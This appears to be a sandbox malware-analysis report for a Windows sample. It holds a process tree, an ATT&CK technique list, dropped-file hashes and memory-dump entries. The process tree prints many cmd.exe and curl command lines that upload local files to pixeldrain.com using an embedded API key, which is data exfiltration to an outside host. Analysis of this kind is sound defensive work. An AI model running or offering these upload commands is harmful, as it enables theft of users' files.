  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-125.png-07-11-2026--13.57.30.png
  2⤵
  PID:5016
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-125.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-125.png-07-11-2026--13.57.30.png
    3⤵
    PID:4600
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-125_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-125_contrast-black.png-07-11-2026--13.57.30.png
  2⤵
  PID:4168
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-125_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-125_contrast-black.png-07-11-2026--13.57.30.png
    3⤵
    PID:3368
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-125_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-125_contrast-white.png-07-11-2026--13.57.30.png
  2⤵
  PID:5640
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-125_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-125_contrast-white.png-07-11-2026--13.57.30.png
    3⤵
    PID:4244
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-150.png-07-11-2026--13.57.31.png
  2⤵
  PID:3828
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2864
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-150.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-150.png-07-11-2026--13.57.31.png
    3⤵
    PID:4492
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-150_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-150_contrast-black.png-07-11-2026--13.57.31.png
  2⤵
  - Executes a command shell one-liner
  PID:3656
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-150_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-150_contrast-black.png-07-11-2026--13.57.31.png
    3⤵
    PID:6048
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-150_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-150_contrast-white.png-07-11-2026--13.57.31.png
  2⤵
  PID:5600
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4100
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-150_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-150_contrast-white.png-07-11-2026--13.57.31.png
    3⤵
    PID:5248
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-200.png-07-11-2026--13.57.31.png
  2⤵
  PID:624
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-200.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-200.png-07-11-2026--13.57.31.png
    3⤵
    PID:4860
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-200_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-200_contrast-black.png-07-11-2026--13.57.32.png
  2⤵
  PID:4132
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-200_contrast-black.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-200_contrast-black.png-07-11-2026--13.57.32.png
    3⤵
    PID:1772
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-200_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-200_contrast-white.png-07-11-2026--13.57.32.png
  2⤵
  PID:4484
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-200_contrast-white.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-200_contrast-white.png-07-11-2026--13.57.32.png
    3⤵
    PID:5620
- C:\Windows\SysWOW64\cmd.exe
  "cmd.exe" /c curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-400.png-07-11-2026--13.57.32.png
  2⤵
  PID:3144
- - C:\Windows\SysWOW64\curl.exe
    curl -u ":5f244109-ddc1-493c-8371-3271a7b97f9a" -T "C:\Windows\WinSxS\amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75\ResetDriveSquare44x44Logo.scale-400.png" https://pixeldrain.com/api/file/JGATYMDT-C:-Windows-WinSxS-amd64_microsoft-windows-e..ifiedwritefilter-ux_31bf3856ad364e35_10.0.26100.1150_none_85b50275334e6c75-ResetDriveSquare44x44Logo.scale-400.png-07-11-2026--13.57.32.png
    3⤵
    PID:756

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:1596

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mytaxes.csv

Path C:\Users\Admin\Desktop\mytaxes.csv
Size 179B
SHA256 0bec6449573d341358d07326c6ba3cb83fe8e4923901b99d0f1c21a2205f2e29
MD5 69fa3365786f33ff73d69d8e18cf8afa
SHA1 4d93137a1411070cffd17f880148b7b1fea1f775
SHA512 c189012ec67dd9e041c5ad405af00b9c108d3bde157c6117a86483916d90149d60b7d7b19c49b69ef96874fcd09562f95455cfcd0b7cbf1fa40ca68abb6fad5f
TLSH
T125C0129B1596656B6B75602B303569CC049754251FD022B049E1F701E300D312CA3A5E
MD5 SHA1 SHA512 TLSH

Submit Download

mytaxes.csv

Path C:\Users\Admin\Desktop\mytaxes.csv
Size 5KB
SHA256 960c04b15776ef0cf0e399d5881ee95c66cdbb43d8c95e2aae0eaa6fe24c576e
MD5 2698a3a953e975a5a1b9a26bd13ae70b
SHA1 0a82844484711711b673c3d7f624de686c9b3cd5
SHA512 477cdff91450c188146b406ce9ae538c0e7255a11a1c3cc9f70ef00c3e191baaf25c3c22e7b5f8820fc14ec28446ca54e04c061015758b103fc3a7cb07859c7d
SSDEEP 48:yuGyBwLaLyC+Oy1Gy1eeywZy5uAy3jyF9hnSOyF3hxyFLhhyF7hv15yjVaAzKAT1:LOmSI4qGy4E34t4F4D45
TLSH
T128B1038348347AB2A2D5608BF3215C5612CDCDB4FAD4B0D0EBA54F8F8DD4F225A5EE58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/5380-6-0x0000000006070000-0x00000000060D6000-memory.dmp

Download

memory/5380-4-0x0000000073B00000-0x00000000742BC000-memory.dmp

Download

memory/5380-3-0x00000000059A0000-0x0000000005FEA000-memory.dmp

Download

memory/5380-5-0x0000000005840000-0x0000000005862000-memory.dmp

Download

memory/5380-0-0x0000000073B12000-0x0000000073B13000-memory.dmp

Download

memory/5380-7-0x00000000060E0000-0x0000000006146000-memory.dmp

Download

memory/5380-10-0x0000000006150000-0x00000000064AB000-memory.dmp

Download

memory/5380-11-0x0000000006610000-0x000000000662E000-memory.dmp

Download

memory/5380-12-0x0000000006640000-0x000000000668C000-memory.dmp

Download

memory/5380-14-0x0000000073B00000-0x00000000742BC000-memory.dmp

Download

memory/5380-2-0x0000000073B00000-0x00000000742BC000-memory.dmp

Download

memory/5380-1-0x0000000002DC0000-0x0000000002DF6000-memory.dmp

Download